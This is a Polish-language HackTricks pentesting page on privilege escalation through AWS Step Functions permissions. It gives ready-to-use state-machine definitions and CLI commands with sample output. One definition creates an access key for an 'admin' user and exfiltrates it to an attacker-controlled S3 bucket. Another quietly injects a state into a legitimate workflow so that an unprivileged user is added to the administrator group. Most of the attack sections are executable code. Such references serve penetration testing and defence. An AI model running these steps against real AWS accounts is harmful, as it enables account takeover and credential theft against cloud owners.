AWS - Step Functions Privesc

Wsparcie HackTricks

Step Functions

Aby uzyskać więcej informacji na temat tej usługi AWS, sprawdź:

AWS - Step Functions Enum

Zasoby zadań

Te techniki eskalacji uprawnień będą wymagały użycia niektórych zasobów funkcji kroków AWS, aby wykonać pożądane działania eskalacji uprawnień.

Aby sprawdzić wszystkie możliwe działania, możesz przejść do swojego konta AWS, wybrać działanie, które chcesz użyć, i zobaczyć parametry, które wykorzystuje, jak w:

Możesz również przejść do dokumentacji API AWS i sprawdzić dokumentację każdego działania:

states:TestState & iam:PassRole

Atakujący z uprawnieniami states:TestState i iam:PassRole może testować dowolny stan i przekazywać dowolną rolę IAM do niego bez tworzenia lub aktualizowania istniejącej maszyny stanów, co umożliwia nieautoryzowany dostęp do innych usług AWS z uprawnieniami ról. W połączeniu te uprawnienia mogą prowadzić do szerokich nieautoryzowanych działań, od manipulacji przepływami pracy po modyfikację danych, naruszenia danych, manipulację zasobami i eskalację uprawnień.

aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

Poniższe przykłady pokazują, jak przetestować stan, który tworzy klucz dostępu dla użytkownika admin, wykorzystując te uprawnienia i permissywną rolę w środowisku AWS. Ta permissywna rola powinna mieć przypisaną jakąkolwiek politykę o wysokich uprawnieniach (na przykład arn:aws:iam::aws:policy/AdministratorAccess), która pozwala stanowi na wykonanie akcji iam:CreateAccessKey:

  • stateDefinition.json:

{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • Polecenie wykonane w celu przeprowadzenia privesc:

aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

Potencjalny wpływ: Nieautoryzowane wykonywanie i manipulacja przepływami pracy oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa.

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

Atakujący z uprawnieniami states:CreateStateMachine& iam:PassRole mógłby stworzyć maszynę stanów i przypisać jej dowolną rolę IAM, co umożliwia nieautoryzowany dostęp do innych usług AWS z uprawnieniami tej roli. W przeciwieństwie do poprzedniej techniki eskalacji uprawnień (states:TestState & iam:PassRole), ta nie wykonuje się sama, będziesz również potrzebować uprawnień states:StartExecution lub states:StartSyncExecution (states:StartSyncExecution nie jest dostępne dla standardowych przepływów pracy, tylko dla maszyn stanów wyrażających) w celu rozpoczęcia wykonania na maszynie stanów.

# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

Poniższe przykłady pokazują, jak stworzyć maszynę stanów, która tworzy klucz dostępu dla użytkownika admin i eksfiltruje ten klucz dostępu do kontrolowanego przez atakującego koszyka S3, wykorzystując te uprawnienia i permissywną rolę środowiska AWS. Ta permissywna rola powinna mieć przypisaną jakąkolwiek politykę o wysokich uprawnieniach (na przykład arn:aws:iam::aws:policy/AdministratorAccess), która pozwala maszynie stanów na wykonanie akcji iam:CreateAccessKey i s3:putObject.

  • stateMachineDefinition.json:

{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • Polecenie wykonane w celu utworzenia maszyny stanów:

aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • Polecenie wykonane w celu rozpoczęcia wykonania wcześniej utworzonej maszyny stanów:

aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

Bucket S3 kontrolowany przez atakującego powinien mieć uprawnienia do akceptowania akcji s3:PutObject z konta ofiary.

Potencjalny wpływ: Nieautoryzowane wykonywanie i manipulacja przepływami pracy oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa.

states:UpdateStateMachine & (nie zawsze wymagane) iam:PassRole

Atakujący z uprawnieniem states:UpdateStateMachine mógłby zmodyfikować definicję maszyny stanów, dodając dodatkowe ukryte stany, które mogłyby prowadzić do eskalacji uprawnień. W ten sposób, gdy legalny użytkownik rozpocznie wykonanie maszyny stanów, ten nowy złośliwy ukryty stan zostanie wykonany, a eskalacja uprawnień zakończy się sukcesem.

W zależności od tego, jak permissywna jest rola IAM związana z maszyną stanów, atakujący może napotkać 2 sytuacje:

  1. Permisywna rola IAM: Jeśli rola IAM związana z maszyną stanów jest już permissywna (ma na przykład dołączoną politykę arn:aws:iam::aws:policy/AdministratorAccess), to uprawnienie iam:PassRole nie byłoby wymagane do eskalacji uprawnień, ponieważ nie byłoby konieczne aktualizowanie roli IAM, wystarczy sama definicja maszyny stanów.

  2. Niepermisywna rola IAM: W przeciwieństwie do poprzedniego przypadku, tutaj atakujący również potrzebowałby uprawnienia iam:PassRole, ponieważ konieczne byłoby powiązanie permissywnej roli IAM z maszyną stanów oprócz modyfikacji definicji maszyny stanów.

aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

Poniższe przykłady pokazują, jak zaktualizować legitną maszynę stanów, która po prostu wywołuje funkcję Lambda HelloWorld, aby dodać dodatkowy stan, który dodaje użytkownika unprivilegedUser do grupy IAM administrator. W ten sposób, gdy legitny użytkownik rozpocznie wykonanie zaktualizowanej maszyny stanów, ten nowy złośliwy stan ukryty zostanie wykonany, a eskalacja uprawnień zakończy się sukcesem.

Jeśli maszyna stanów nie ma przypisanego permissywnego roli IAM, wymagane będzie również uprawnienie iam:PassRole do zaktualizowania roli IAM w celu przypisania permissywnej roli IAM (na przykład jednej z dołączoną polityką arn:aws:iam::aws:policy/AdministratorAccess).

{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • Polecenie wykonane w celu aktualizacji legitnej maszyny stanów:

aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

Potencjalny wpływ: Nieautoryzowane wykonywanie i manipulacja przepływami pracy oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa.

Wsparcie dla HackTricks

Last updated